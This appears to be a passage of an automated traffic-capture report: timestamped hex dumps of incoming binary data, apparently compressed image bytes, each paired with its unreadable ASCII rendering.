2022-05-13 14:42:15 UTC 10125 IN Data Raw: 39 23 4d db 51 3f d8 f9 7a e7 da af 0f 2e 7a 8a 9f 52 e3 5a 73 a9 18 a6 78 bd 9e a5 2c be 23 b4 b3 b7 8e 0f ee 
22 7f 07 95 cf dd af 76 9b 4f 8b 49 f0 cc 91 ac 92 23 ca 9b fc cd 9b fe 5d be 86 bc 37 e1 de 97 3f 8b 7c 47 06 ef dc 3f 9c cf 
e6 41 ff 00 8e e4 fb d7 b8 6b 97 57 36 f6 3f d9 b7 12 6f da 8b be 49 3e 7f e1 f5 ae ec 7c 94 2a a8 ad ec 7a b8 89 7b d1 51 
3c 97 5e 58 2e 3c 39 77 1f ee e7 fe 0b 88 e3 fb 9f 77 f8 57 b9 f5 af 3f f0 ff 00 86 57 fe 3e 1a de 34 48 37 4c 91 c8 8c 89 b7 
6e 3f e0 4b 5d f7 8e 21 be b5 ba f3 21 8e 47 f3 7f d1 de 48 3e 74 85 7b 7c a7 d7 ee ff 00 3a dc f8 7f e0 d6 bf d2 a7 b8 b8 
bb 8f ca 64 f9 e4 81 f6 7c ab fd de d5 db ed ed 41 db 73 ae a4 b9 95 d1 73 c3 7a 7f fc 24 d6 31 da cd 26 c8 ad f6 cc fe 5b 
af c9 f2 fa d6 84 3a 3d 9f db ac 
Data Ascii: 9#MQ?z.zRZsx,#"vOI#]7?|G?AkW6?oI>|*z{Q<^X.<9wwW?W>4H7Ln?K]!!GH>t{|:d|Assz$1&[:=

Timestamp
kBytes
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Direction Data
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2022-05-13 14:42:15 UTC 10133 IN Data Raw: 5a 6d ae 86 38 88 b9 40 f4 ef 12 69 f3 f8 82 4b b8 6d fc b7 8b c9 ff 00 59 3e ef bd 46 82 cd ff 00 08 af d9 e4 f3 
1e 5b 7f 32 19 bc cf e3 6f f3 f9 d7 41 6b e5 5d 41 69 22 fc 9b 9f ec f3 49 1b fe a3 fb d5 cd d8 dc 36 97 e3 cd 4a c5 bc cf 
b2 4a 9b fc cf ef b6 ea f9 b9 4e 4d f3 33 e7 f9 b9 a2 e3 d8 c3 f0 ad f4 f1 78 9a c2 69 a3 f3 dd be 4f 33 f8 3e 46 ef 5a 97 d3 
35 bf 8f 24 91 a3 f2 37 3a bf 99 bf ee 7f f1 55 36 83 66 b6 1e 2a 92 46 fb 8b 70 c8 9e 7f cf f2 b5 60 ea 57 9b 7c 55 3c d7 
13 ef 7d 9f 27 97 f7 ff 00 de ac fd aa 9b d0 89 6a cf 56 f1 56 dd 66 7d 37 52 b3 9f 63 ab ef 7f 23 fb bb b9 e6 b0 7c 6d 34 5
7 1a ad a4 91 c7 be e2 57 f9 3f 8f e5 fe 25 ff 00 ec ab 37 e1 de b5 2c ba ae ad 6b 75 fc 28 cf 6f 1e ff 00 bf bb ff 00 66 a6 
dd 58 de 4b 7d f6 a9 24 fd ea 
Data Ascii: Zm8@iKmY>F[2oAk]Ai"I6JJNM3xiO3>FZ5$7:U6f*Fp`W|U<}'jVVf}7Rc#|m4WW?%7,ku(ofXK}$

2022-05-13 14:42:15 UTC 10149 IN Data Raw: c0 fe 26 cf b5 78 ce 8f e2 ad 16 ff 00 e3 b5 84 d1 f9 76 5a 7c 5a 74 72 da 41 26 e4 47 67 5f 7a d2 f8 95 e2 a5 
6d 0f 49 d2 e4 92 3f 36 2b b6 77 82 44 df b1 7f da fe 75 cf 2f 81 21 f1 7d d2 6a ff 00 68 91 2e ac 6d e4 5b 7f 31 17 63 ed 
e7 1f ee 9a ee a5 28 38 39 3e bb 31 d1 8f 2a 94 bf 98 f5 9b cd 0e fb c5 bf 09 3c 4b 36 9f e6 59 6a ba 37 ef 9f c8 7d 8e f1 
37 73 8f e1 af 0f 5b 1d 16 ea 1d 37 50 f1 05 fc 9a 45 be a3 68 b3 79 93 be ff 00 99 39 07 3f dd fe ed 75 5e 0d f8 fd a9 f8 
36 d7 5d d2 fc 41 68 96 5f 6f d2 da d3 f7 68 db 37 2f dd db eb 95 f9 85 4b e2 5f 84 da af 8d 3e 0d e9 96 cd 61 e6 5d c9 17 
9d 6f f2 6f 78 57 eb 5e 94 29 7b 18 c6 fa 5f 76 8f 47 e1 85 9a 3a 5d 2f e1 ed ce bd 26 8b a6 d9 c9 1c f6 92 c3 bd 27 fb e8 
ff 00 ef 7d 45 3b c2 36 32 af 86 6f f4 
Data Ascii: &xvZ|ZtrA&Gg_zmI?6+wDu/!}jh.m[1c(89>1*<K6Yj7}7s[7PEhy9?u^6]Ah_oh7/K_>a]ooxW^){_vG:]/&'}E;62o

2022-05-13 14:42:15 UTC 10165 IN Data Raw: 83 5c 8f c4 0b c9 f5 2f 0f c7 32 cf 1b cb 14 3f 3f 98 9b 37 b6 ef 7f fd 06 b7 3e 1e da b7 87 be 15 dd ee f2 d2 e2 
e3 e7 f2 e3 f9 df fc 3e 95 db 1e 67 85 49 6e 4d 49 7e eb ee 3e 53 f8 a9 e1 7b cd 2f c7 77 d7 13 79 97 5e 6b f9 de 7a 49 
bd df 77 d2 be c4 f8 73 a9 59 ea 9e 0e d0 b5 25 fd e5 c7 d8 57 fd 62 2f c9 f2 e3 6f fe 3b 5e 5b f1 43 c1 b6 37 5e 0f be d5 
ad de 0f b4 5e 27 c9 27 cb b1 3e 5d df c5 fe 45 5a f8 6f e3 8b 4b 0f 83 32 5a cd ff 00 2e ef b3 f7 7f 73 ef 71 83 dc d7 af 8e 
53 c6 e1 a9 28 ad 53 48 e9 fe 24 53 47 17 a8 5c 3c be 2e 83 58 6f 31 2e d6 ed 7f d5 fd f4 f9 b1 cf f7 83 7f 13 57 be 7e d3 
16 71 6b 3a 57 86 ad ff 00 d4 3c a8 ae ff 00 ee aa f2 ab ba bc 8f 4f b1 9f c7 d0 c7 aa 2d fc 76 b2 da cc c9 34 9f 36 c7 6f f6 
7f d8 fe b5 ec 5f 17 a4 8b 54 f0 
Data Ascii: \/2??7>>gInMI~>S{/wy^kzIwsY%Wb/o;^[C7^^''>]EZoK2Z.sqS(SH$SG\<.Xo1.W~qk:W<O-v46o_T

2022-05-13 14:42:15 UTC 10172 IN Data Raw: 62 fe 1b 89 3c f4 b5 87 62 41 bf 7a 3b 2f dd 39 ed 5d 67 81 e3 83 c6 51 da 4c d2 47 03 d9 a7 fa cf be 88 df c5 
ff 00 02 15 c9 f8 bb 50 d3 ed 7c 4f 1c 31 c9 1b cb e4 b6 f9 3f b9 f5 fa 56 a7 89 35 6b 1f 06 f8 57 49 d3 6d fe 4b 8b cf f4 87 
8e 3f 91 e6 dd d7 9e d8 af 5b 95 d9 25 d4 ee 75 9a 49 20 d6 35 89 59 e4 d0 74 b9 24 b5 b4 f3 99 ee 24 91 f7 cb 72 be ff 
00 fa 10 ae 3f c4 da c3 68 72 5a 2c d3 c7 6b 14 48 df eb 36 fd ef ee ae 7d 57 ad 48 d0 b3 eb 90 37 dc 97 62 ec 8e 0f be 
fe 95 cc f8 ab c2 ab e2 09 ee ef 35 49 df fd 02 16 df 1c 0f f2 6e f6 dd 53 4d 27 89 f7 de 89 10 e5 79 5c f5 0d 36 cd 7c 4d f0 
e6 0b cd 0f cf 83 cd dd 32 47 f7 1f e5 6d bf 2f f1 75 e9 5e c1 f0 37 e2 05 cf 8d fc 23 7d e1 9d 7a ef cf bb d2 5d a1 49 3f bf 
b3 96 dd ef fe cd 72 7f b3 cc d7 9a 
Data Ascii: b<bAz;/9]gQLGP|O1?V5kWImK?[%uI 5Yt$$r?hrZ,kH6}WH7b5InSM'y\6|M2Gm/u^7#}z]I?r

2022-05-13 14:42:15 UTC 10188 IN Data Raw: fe 2a b9 9f 1c 5b dc ea 57 52 5d 43 27 91 13 22 fe ee 4f 9f e5 ff 00 64 ff 00 78 54 2b 6b 3d 87 85 60 b8 ff 00 5f 
71 2c ad b2 7f b8 fb 5b ab 11 e9 5e a5 26 fd 92 4c f5 29 b5 2a 49 48 d2 f1 d6 97 3c 5a c5 a4 d6 bf bf b4 6d df bb 91 fe 44 
65 6e df de 6f d6 bd 2b c3 ba 94 f7 1a 37 99 34 1b 1d 51 bf 77 fc 7b 6b 9d d3 fe c7 e2 8d 27 cb be 92 34 b8 5d bb e3 fe 0f 
35 57 ef 56 e6 a0 df d9 3a 3c 8b 1c 91 fc b0 b6 cf 2f ef bb 7b 7f e3 d5 e7 e3 e0 dd 92 3c ac 65 3b d9 23 cb ee 35 49 ef 3c 
41 77 6f 67 24 9b 15 d7 ce f2 fe ff 00 be de d9 c5 7a 22 eb 91 5d 47 69 67 e6 6f f2 93 ce f2 e3 4d 8f f3 7a 7e 15 c6 f8 57 
4d f3 75 8f b5 79 9b 2d 37 ff 00 ab 8d 17 66 ef 6f fe 2a b3 f5 af 12 2d d7 8e 3f d0 e7 8e 48 a2 fd d3 c7 1f dc 45 db f7 8e 2a 
9d 07 51 38 2d 91 50 5e cd 6c 75 
Data Ascii: *[WR]C'"OdxT+k=`_q,[^&L)*IH<ZmDeno+74Qw{k'4]5WV:</{<e;#5I<Awog$z"]GigoMz~WMuy-7fo*-?HE*Q8-
P^lu

2022-05-13 14:42:15 UTC 10204 IN Data Raw: 00 c3 3e 21 f0 ae a9 77 07 da 2d e1 5b 8b 4f 2f f8 e2 eb 85 ff 00 75 be 6a ef bc 57 fb 1a f8 a3 c6 8b 77 f6 af 14 
40 96 f7 88 af fb cf 9d 93 df fd af 4f d6 bc bb 44 fd 9f a0 f8 43 e2 eb 59 ae 3c 5f 04 d7 10 3e cf 2e dd d5 f7 ff 00 b3 5f 61 cf 
07 85 e4 7b db b1 ef b8 b4 ad 63 d4 74 bf 14 6a 1a 1f 84 74 dd 3e fa 0f 3e 59 6e 3e 78 e3 fb e8 bb be f7 e3 b7 9c 56 e7 
8c 3c 8d 2e 34 92 38 fe d5 2e a5 b5 3f e0 2c be 9f c3 fe f5 6f 37 81 7c 3d 79 7d 77 ab 5c 4f 24 12 cb 0a a3 c7 f3 27 dd f7 
f6 fe ed 3b c5 da c7 80 34 9f 0a e9 ab ad 6a 51 e9 da c4 49 fe 8f 3c 89 bf 7e ee 9f 86 da f9 fa 72 f6 b2 d3 73 99 3e 66 79 
8c 3e 07 5f 0f e8 77 76 76 f7 72 25 c5 e2 33 f9 9f c6 9b bd fa 62 b9 3f 00 ea 97 df f0 91 dd b4 92 79 1a 55 ba 46 90 f9 ff 
00 23 bb 2f cb f7 7d 0e 2b d6 15 
Data Ascii: >!w-[O/ujWw@ODCY<_>._a{ctjt>>Yn>xV<.48.?,o7|=y}w\O$';4jQI<~rs>fy>_wvvr%3b?yUF#/}+

2022-05-13 14:42:15 UTC 10212 IN Data Raw: b8 56 f1 74 f2 69 b1 c9 be 5b 95 49 bf e7 96 d6 ef f3 7f 0f f2 ab 1e 3a b8 bc d5 27 d3 6d 6c 67 ff 00 4a 89 d7 fd 
bf 97 77 38 af 4f 0f 2e 57 04 8e aa 76 76 44 9f 13 ae 2c f4 bf 0e 41 70 b3 ec b8 f9 5e 18 e3 f9 13 73 63 f5 fa d7 aa 68 77 
52 f8 7b e1 cc 1a 7c 3f 3e ab 78 9b e6 92 37 fb 8a cb e9 5e 72 de 0f be 8a 4b 0b ed 7a 48 ff 00 b3 2c 3e 77 92 4f f9 6d fc 
4a 1b fb d8 fe 55 a9 e1 bd 42 7f 11 f8 9a ee e2 cf cc 78 9a 5f b3 c3 1c 7f 3a 25 5e 2f de 8f a1 d7 19 38 68 6d 7c 3d d0 62 
f0 fc 77 77 5f bc 78 97 ef ff 00 bd d7 8f 6f 7a 93 5a f1 13 5f fd af cb 8e 44 89 be 7f 3f e5 4f bb f2 ff 00 f6 55 37 c4 8d 5a c7 
c1 1f 60 f0 ed 9c 9b f5 0b ad bb fc c7 d9 b1 bf f6 55 ae 6f 5c 8e f2 c2 08 da 6b 8d ff 00 68 da ef f7 76 6e ff 00 f5 57 8d 5a 
0e 52 4e 5d 4c ea de 2b 92 
Data Ascii: Vti[I:'mlgJw8O.WvvD,Ap^schwR{|?>x7^rKzH,>wOmJUBx_:%^/8hm|=bww_xozZ_D?OU7Z`Uo\khvnWZRN]L+

2022-05-13 14:42:15 UTC 10228 IN Data Raw: bd b8 ff 00 61 7f bb 5a 3a 4e 9e d2 3c 7f f2 ce 25 fb 88 95 f4 d8 1c 24 e3 57 da 4b fa 7f f0 0f 2f 11 56 12 a7 a6 
c6 e5 9e eb cf 99 b8 45 aa 9e 20 86 0d 49 23 d3 a4 ff 00 55 3e ed c9 bf 6e fc 76 ad 59 1d 6d ad be 5f 4a e4 ef 2f 9d fc 4d 
a3 a8 f9 17 ef bf fc 0a be 8b 11 35 08 a5 2e ad 2f bc f1 e8 c6 55 24 da e9 77 f7 12 f8 b2 dc 43 a2 c1 1d bc 68 8d 13 fe eb 
fb a9 85 aa 17 57 90 f8 ab c2 53 b5 bb c6 ed 2c 4d fe e2 4a bf fd 95 59 f1 c4 df f1 2f 45 df f7 99 ab 85 f8 7b aa 34 57 da b6 
96 af be 2f f8 fb 89 3f b8 dd 19 2b cc 9e 22 11 c6 ac 33 da 51 b7 f9 1e ad 2a 2f ea be d9 6f 17 73 5b c1 30 ae 8d a1 da 42 
df f1 f7 f7 e6 93 fd a6 ae b2 4b 86 8a d7 fd ef 92 b3 e1 d3 56 d6 7d ad 1f cb ff 00 b3 35 49 a8 5c 7e f2 08 fc ca f6 29 45 51 
84 60 b6 47 05 49 7b 59 b9 77 
Data Ascii: aZ:N<%$WK/VE I#U>nvYm_J/M5./U$wChWS,MJY/E{4W/?+"3Q*/os[0BKV}5I\~)EQ`GI{Yw

2022-05-13 14:42:15 UTC 10244 IN Data Raw: 4d 27 98 a9 f8 7c df 78 8a b8 d4 69 59 a3 48 c2 ca f7 3e 5b f1 e7 8e 22 f1 64 6f f6 5d ef f3 fc ff 00 75 3f 8b 8e 
3f 8c fb d7 a8 7e cd fa c4 7a 5e 9b ab 47 f6 e8 c3 47 34 6e f1 bf f1 b7 4e 3f da a5 f1 27 c0 5f 08 c7 6f 3b e8 ba d6 c0 df 24 
be 64 9f ea 76 f5 e3 07 f8 bd eb ab f8 6f f0 fe db c3 3e 0e bb 9a de 78 1e 56 db be 7f bf b1 bd 4d 3e 6b e8 73 db 95 1e 4f 
67 a1 c1 e2 09 35 d9 af a3 9d 3e cf 71 36 c8 f7 ec fb bf 78 6d ff 00 d9 85 5c b3 b1 bc f0 6e 9b f6 ab 5b f9 e7 b2 54 de 9f 
ec 2b 73 f2 b7 f3 5a d8 f1 06 86 df 61 d4 ac e3 f3 d2 e3 e6 7f 33 ee 7c dd 8f fb 4d 5c 86 81 6b af 78 76 4f ec fd 52 de 69 b
4 f7 f9 1d dd 3e e7 f1 63 fd 9a a2 5a b1 d1 c9 f1 1a fa 6d 02 36 d3 75 94 bd bb 7f 93 c8 9e 05 74 f4 20 8a d9 d5 3c 66 fe 
01 f0 e4 17 1a 8d 85 ac 3a d5 e7 
Data Ascii: M'|xiYH>["do]u??~z^GG4nN?'_o;$dvo>xVM>ksOg5>q6xm\n[T+sZa3|M\kxvORi>cZm6ut <f:

2022-05-13 14:42:15 UTC 10252 IN Data Raw: fd d5 ff 00 6a a1 b2 6b bb 5b 54 92 4b ed f1 7f 02 6c d9 5c fe d5 c6 76 b6 86 d1 a4 a5 0b df 53 aa 66 0a a4 9e 
95 ce eb 7e 23 4b 49 a3 81 1f cb f3 3f 8e b2 35 ab cb 99 ac 7c b8 67 92 62 df f0 0d ff 00 5f 4a e7 75 0b a5 ba 82 dd ae bc 
c7 95 9d b7 c9 1f dc fc 29 4b 10 96 88 d2 14 3a b3 a2 d3 e4 89 a7 9e 68 e4 df b7 ef cf 23 ff 00 76 a3 ba 92 2d 5a 48 19 7f 
e5 dd 19 3c cf f7 ab 0f 45 b7 9e f3 4d 8d 61 fd c5 a6 ff 00 ef fd f6 aa 3a 95 c7 f6 5f 9f 6e b3 fd ed bf f0 0a be 64 a3 cd 2d 
8c dc 5b 9f 2c 4e b2 3b 58 1a 48 db cc f3 d1 7e 44 fe e6 ea f2 7f 8d 5f 13 97 e1 a7 87 f5 ad 5b cc ff 00 4d df fd 9d a5 ff 00 
b7 75 32 e1 7f 05 fb d5 a1 75 e2 c9 ed 64 b0 85 bc c4 dd e6 3f fb 1b 7f c6 be 73 f8 e9 e3 08 3c 79 f1 52 0d 0d a7 d9 65 e
1 7d d7 6f 07 f0 3d e3 af 5f f8 0a 
Data Ascii: jk[TKl\vSf~#KI?5|gb_Ju)K:h#v-ZH<EMa:_nd-[,N;XH~D_[Mu2ud?s<yRe}o=_

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:15 UTC 10268 IN Data Raw: 7f 25 af f7 e9 ff 00 f3 eb 1f f1 af fb 5f f0 2a c2 f2 bf 2d 8b 4e 3b ad 8f ce ff 00 14 78 f3 c7 fe 2c 47 d1 63 9d f4 fd 
3d 26 6b 74 82 c5 3f 87 ff 00 66 53 fd da dc b5 d7 ac 7c 2b e1 f8 2c 5b 49 91 35 58 91 5f f7 7f 3f de fe ef 7e d5 f6 15 9f c0 
1d 2b 49 f9 bc 8f 23 ef 6f 8e 3f 9f f2 fa d5 3f 12 7c 23 75 b1 8e 3d 36 c2 3f 99 f7 bc 93 a2 ef da df dc fe ed 74 b9 73 69 6b 
12 e5 1b 73 1c cf c2 3f 17 69 17 5e 15 82 16 9e 0b a9 59 f7 bf 97 fc 75 9f 24 7a 7d bf 8b a4 f3 2e fc 8f e0 4f 2f fc 3b 35 6d 
68 bf 0b 67 d0 60 8e eb ec 9f 62 76 dd fb c8 3e fb ee fe 2e 6b 4b 4f f8 77 a7 d9 c7 f6 c9 23 f2 de 57 de f2 6c fb ff 00 d6 b4 
8a 67 3f 31 ce db f8 56 da de fb ed 56 76 9f bd 67 d9 e6 49 f7 de b4 35 2d 1d 6f 26 da d3 c6 97 1f 7d e4 8f 72 3a 57 61 71 
66 d6 b6 3e 74 32 
Data Ascii: %_*-N;x,Gc=&kt?fS|+,[I5X_?~+I#o??|#u=6?tsiks?i^Yu$z}.O/;5mhg`bv>.kKOw#Wlg?1VVvgI5-o&}r:Waqf>t2

2022-05-13 14:42:15 UTC 10284 IN Data Raw: cf cb 68 ef e0 fb 8c fe 5c 6f f2 3a ff 00 b4 c7 8a ea b4 bf 1c 5c ea 9f b9 86 39 1f 72 6c 48 e0 46 74 7f fe b5 5d 
3c 74 1b e5 dd f9 0a a6 12 76 bf 43 e8 0b 5f 1a 5e 34 72 35 d4 f0 41 17 fd 33 7d ef f9 d5 79 be 20 7f 69 7e e6 19 37 a7 f1 
c9 fd c5 f7 3d ab cb 6d f4 dd 73 5c 83 6c d6 93 c1 6e bf 73 cc f9 13 6a fd 2b a6 b5 f0 3c fa 95 8e d9 24 91 13 62 fe ee 3f 
93 fc 9a f6 a1 56 73 5b 6e 79 92 8c 63 d4 d8 d4 3c 65 3f 91 24 30 c7 e7 a4 4f f3 c7 07 cf 5c 9d af 88 bf b4 a7 92 6b a4 fb 
14 4b f2 79 93 fc 8e fb 7f ba bf 79 eb ac b3 f8 57 67 17 97 f6 e9 ee a7 75 75 fd c4 93 b3 fc d5 37 8a 34 9d 22 c3 c8 d3 6c 
e0 8e ea f7 fd 73 f9 7f c0 bd be 63 4a 51 95 ae 28 b8 df 4d 49 34 9b c8 ac ed 7e d0 d0 4e f2 b7 ce 90 49 f7 df ff 00 89 ac f
9 35 8d 43 c7 d3 bd 8f d9 2c 60 b2 
Data Ascii: h\o:\9rlHFt]<tvC_^4r5A3}y i~7=ms\lnsj+<$b?Vs[nyc<e?$0O\kKyyWguu74"lscJQ(MI4~NI5C,`

2022-05-13 14:42:15 UTC 10292 IN Data Raw: 75 b9 f6 79 71 a7 ce eb fe 15 57 50 d3 75 3b 8d 4a 76 b3 83 c8 89 9f e4 8e 3d c9 b3 da 95 a2 c1 49 ad 51 bd 
e2 0b 75 b8 82 35 b5 92 34 7b 7f 9d 3f db 55 af 27 f1 67 c6 cd 6b c2 be 23 b0 b1 d3 fc 3d 24 ef 71 ba 17 92 3d df 7b db fd 
9f f6 ab d9 b4 5d 06 78 a0 8e 3b 8f df f9 4f f3 c9 5d 24 3e 17 d3 35 4d 4a 39 26 82 04 76 4f 92 39 28 95 de c4 ec 78 7f 86 
fc 61 f1 05 ae e7 be 6d 16 37 f0 fa fd f9 e3 fb e8 be f9 f4 af 7a 86 f2 59 74 38 ee 2d 7c bb ad c9 fe b2 4f f6 ab a0 b8 8e 5d 
2f c1 77 fa 0e 9f 69 06 db a7 df 34 9f c6 eb e9 5f 20 f8 92 f3 c7 fe 0f f1 e7 97 a6 df c9 7d a3 cb 32 c5 f6 58 ff 00 ba cd cb 
67 f8 aa 25 1e 55 6b 9b 41 b7 7e 87 d3 5e 1b d1 75 7f ec d9 ed ef a7 82 ea 5f f5 d0 f9 9f 7e b1 ee 3e 1b ea 7a a5 af da 
2d fc 43 3d af 9b f7 fc b4 fb fe d8 af 
Data Ascii: uyqWPu;Jv=IQu54{?U'gk#=$q={]x;O]$>5MJ9&vO9(xam7zYt8-|O]/wi4_ }2Xg%UkA~^u_~>z-C=

2022-05-13 14:42:15 UTC 10308 IN Data Raw: 9f e7 8f fe 12 18 11 d5 1b 64 71 ee df b7 77 de f7 ad 21 88 d2 e8 c9 d3 ba b2 3d bb 41 9a e6 24 92 38 f5 29 2d 
53 ef fd cf e1 a1 b5 cb 95 f9 7f b6 a4 7d ff 00 7e 3d 9b 3f fd 55 e4 b6 f7 0d e6 6d 5f 16 47 bd 9f e4 fe e6 ef fe b5 61 ea 52 
4e bf 2c 3a d7 f1 ef 79 23 7d 95 d1 f5 a9 76 1f b2 3d c2 4b e9 da 09 19 75 69 11 ff 00 f4 0a 34 5f 12 4f fc 5e 28 92 7d bb 
b7 fc 9b eb c2 da 35 f2 ff 00 e4 35 fc 7f 24 7e 7e f4 7e f5 0c 3a 4c 57 52 49 34 9e 21 f2 12 57 ff 00 51 1f c9 bf 6f d3 ff 00 
41 15 94 ab 36 ef 60 54 cf a3 35 0f 19 79 50 c7 23 78 86 fb fb 9f bb 81 7f a5 53 8f e2 45 8c be 5d bf f6 b5 d4 f7 0b f3 fe f2 
05 fc ff 00 3a f0 9b 5d 07 41 8a 0f 25 bc 43 bf 72 2f fc b7 64 7a d0 d3 74 1f 0c 34 9b 9b c4 31 be ef bf 1f 9f f3 bb 6d ac fd 
ac bb 0d c3 cc fa 02 1f 16 
Data Ascii: dqw!=A$8)-S}~=?Um_GaRN,:y#}v=Kui4_O^(}55$~~~:LWRI4!WQoA6`T5yP#xSE]:]A%Cr/dzt41m

2022-05-13 14:42:15 UTC 10324 IN Data Raw: 00 bb f3 3e 45 fe 1e be f5 46 3b 39 6d 67 db 24 f0 3c be 4e c7 8e 47 df f7 6a 8a 4a e7 49 75 a1 ee 93 c9 92 48 
e0 da ff 00 27 ef d7 ef 75 fa d4 91 e8 33 d8 69 bb 96 ee 3d ed 0b 27 ee f6 ef f7 cd 60 b4 cb 6b f3 79 76 29 f2 6c fb 9b ff 00 
f1 dc f6 ab d6 33 32 47 1e d9 e0 74 97 6a 79 71 a7 c9 ff 00 eb aa 88 5a f7 64 33 68 f7 31 5d 6e b5 82 49 f7 fd cf df fc e9 
bb b6 da b9 79 e0 dd 5e 4f 21 9a c3 64 5b 3e 78 fc fd 9f c5 9f cb fd 9a d4 5d 42 f3 49 93 cc 58 34 af 37 7e ff 00 32 4f 93 
7b 6e c7 35 5e fb e2 07 d9 ff 00 73 79 61 62 ed f3 7e ee 3f 2f 67 d2 b7 84 a3 b4 88 77 e8 55 ba f0 cc b6 51 ed 5b 0d 92 
ec f9 fc c9 fe e2 af d6 b3 ed 74 f6 ff 00 57 6f a6 da cf b7 e4 4f df fd ff 00 5e fc 54 97 1f 13 19 74 d8 ff 00 e2 53 6a ea 9f 24 
32 7c bf 7b ff 00 42 dd 51 d9 f8 
Data Ascii: >EF;9mg$<NGjJIuH'u3i='`kyv)l32GtjyqZd3h1]nIy^O!d[>x]BIX47~2O{n5^syab~?/gwUQ[tWoO^TtSj$2|{BQ

2022-05-13 14:42:15 UTC 10331 IN Data Raw: e0 19 e0 b8 97 e7 8a 0b 5d 45 6e 1d f6 ff 00 7c 27 dc ad 1c a9 c7 57 62 39 2b 3d 0f 68 5f 00 f8 0a 29 e4 8f fe 
15 ce 94 9b 7e 7f 32 4b 18 fe 7a b5 27 82 7c 19 6b f2 af 80 74 d7 46 ff 00 a7 18 d1 3e 95 f3 ed d7 ed cd 67 67 63 b6 c7 42
b1 ba d4 3f 82 d6 49 db 7f f2 e9 fe d5 51 b3 fd ba 35 54 82 49 35 6f 04 47 6b 17 cc e9 24 77 de 6b ed ff 00 65 3a d4 fb 5a 
1e 46 aa 95 43 e9 06 f0 2f 84 e5 9f c9 5f 04 68 68 9f c1 24 90 47 f3 ee f6 15 1b 7c 35 f0 62 dd 47 bb c0 3e 1f 7d df 72 4f 
b2 c7 f2 7e 15 f3 9e 93 fb 69 4f 75 a9 5d de 36 93 02 69 f1 5b fe e6 08 20 69 9d db fd a9 01 1b 6b 9d 6f f8 28 16 a7 ab 4f 
e4 da f8 7a c7 ed 0b f7 20 8d e4 f9 3d 3e 63 f7 a9 fb 4a 25 7b 29 f7 3e c4 8f c1 7e 0c 6f 33 6f 84 f4 04 75 f9 df cf b1 8d 11 
3d 5b db fb d5 f9 69 fb 6b fe d1 1a 
Data Ascii: ]En|'Wb9+=h_)~2Kz'|ktF>ggcB?IQ5TI5oGk$wke:ZFC/_hh$G|5bG>}rO~iOu]6i[ iko(Oz =>cJ%{)>~o3ou=[ik

2022-05-13 14:42:15 UTC 10347 IN Data Raw: f7 24 ba 9e 47 4d db b9 6e 6b 29 e2 79 bd e9 c1 5c d6 10 e4 8e 8c f7 2d 53 e2 c6 9f e0 db 5f 27 c3 3a d7 88 
ee af 7e e7 fa 74 ed 2a 26 d5 fc 2b 9f d1 7e 38 6a 7a b4 ff 00 f1 50 6a de 23 9e df 66 ff 00 2f 4d ba d9 fa 38 3b 4d 70 36 
7e 19 d1 6e 23 fd e7 8d e0 b5 b8 d9 bd e0 92 0b 97 77 ff 00 c7 6a 6f f8 47 ed ad fc bf f8 a8 64 76 54 f9 fc bd 3a ed 13 e6 
e9 fc 35 a7 b6 aa f5 5b 1a 46 ca 27 a8 cb f1 1b e1 15 fd bc 70 ea e9 f1 1a 6f 2b fe 7a 6a 91 aa 3b 7e 15 a5 a4 c9 fb 3d dd 
49 1d bf da fc 4d a4 6e fe fe bd 2a 7f df 5b 54 d7 84 5a c6 cd 3c 9e 4d dc 7b f7 ec 49 27 dc 89 bb fe 05 ff 00 a0 d7 49 e1 
98 f5 8b 08 3c b8 f5 df 0e 69 76 ec ff 00 3c 97 4e af 2f be 7e 52 d5 82 c4 7b f6 e4 5f 77 fc 11 72 e9 6b 9e f9 1f 86 ff 00 66 
a6 8f cb 8f e2 4d f4 32 ff 00 73 fb 7a 
Data Ascii: $GMnk)y\-S_':~t*&+~8jzPj#f/M8;Mp6~n#wjoGdvT:5[F'po+zj;~=IMn*[TZ<M{I'I<iv<N/~R{_wrkfM2sz

2022-05-13 14:42:15 UTC 10363 IN Data Raw: 52 8f 43 c7 e6 92 55 fd f5 c4 71 a7 ce df eb 36 bb fe 1d e8 86 4d 3d bc bf 39 23 d8 df 3a 49 3b ff 00 7b d7 69 
e0 9a f4 6d 43 e3 f7 8b d6 3d b2 6b b1 bd dc 49 ff 00 2c f4 7b 24 44 ff 00 c8 66 b0 64 f8 d5 e2 58 a3 f3 9a 7d 2a 7d c9 bf 
f7 9a 5d b7 fe 3d f2 8a c9 c6 87 49 bf bb fe 09 b5 db e8 73 76 77 d0 7d 96 48 6d e3 8f 7e c5 7f 33 7e cd ed fe cd 49 35 e4 
5e 44 71 b4 f3 e9 d1 7c bf bb 8f 6f de 6f bd f8 57 41 a6 fe d0 de 28 f3 3f 79 26 8e e8 db b6 49 1e 89 69 f3 aa af fd 73 cf 34 
5f 7c 64 f1 2e a5 fe b3 ec bb 3f e9 86 89 69 b3 fe fa db 5c 93 54 96 aa 7f 2b 7f c1 32 92 7d 4e 06 f2 3d 29 a7 f3 ae 35 2d 
49 25 de a8 f3 c7 3c 69 f3 37 7d bf 4f e2 5a bd 0c 3e 1a 96 3d b3 49 ae 4f f7 76 7e fe 3d 9f 7b e9 52 6b 1e 26 d5 56 fa 36 
93 4d d2 b5 47 89 3f e5 be 9c bf 77 
Data Ascii: RCUq6M=9#:I;{imC=kI,{$DfdX}*}]=Isvw}Hm~3~I5^Dq|ooWA(?y&Iis4_|d.?i\T+2}N=)5-I%<i7}OZ>=IOv~=
{Rk&V6MG?w

2022-05-13 14:42:15 UTC 10371 IN Data Raw: 59 f0 bc 31 c8 da 87 c5 1b 14 76 ff 00 96 9f 6e b0 d9 f9 35 cd 74 da c6 a5 f1 76 ea eb cb d0 fe 06 e9 53 db af 
c8 f3 ff 00 c2 2c a9 ff 00 7c 7e f3 04 7f b5 50 e8 ff 00 b3 cf 8a bc 7d 75 f6 af 18 7c 27 b1 d1 37 6d fd e6 9b 07 f6 63 ee f5 
7d ab 2e ea c2 58 6a 29 f2 d3 a7 77 e7 74 5a 9f bb 76 cc dd 2f e0 0f c3 4d 06 fb cc bc f1 f7 84 75 bb 75 7f 9e d7 58 ba b2 
44 dd e9 98 67 df 5d 14 9e 1f f8 65 a3 bc 9f d9 ba 4f c2 17 df f7 ee 2f af ae 51 1f fe f8 94 d6 a5 af ec 7b e0 9b 0f 96 f3 c1 
12 27 fd 37 93 5f b9 df fa 5b 77 ad ed 37 e0 4f c3 7d 27 e6 8f c1 1e 7b ff 00 d3 7d 52 fe 5f fe 26 bb 69 61 27 05 f0 28 fc ee 
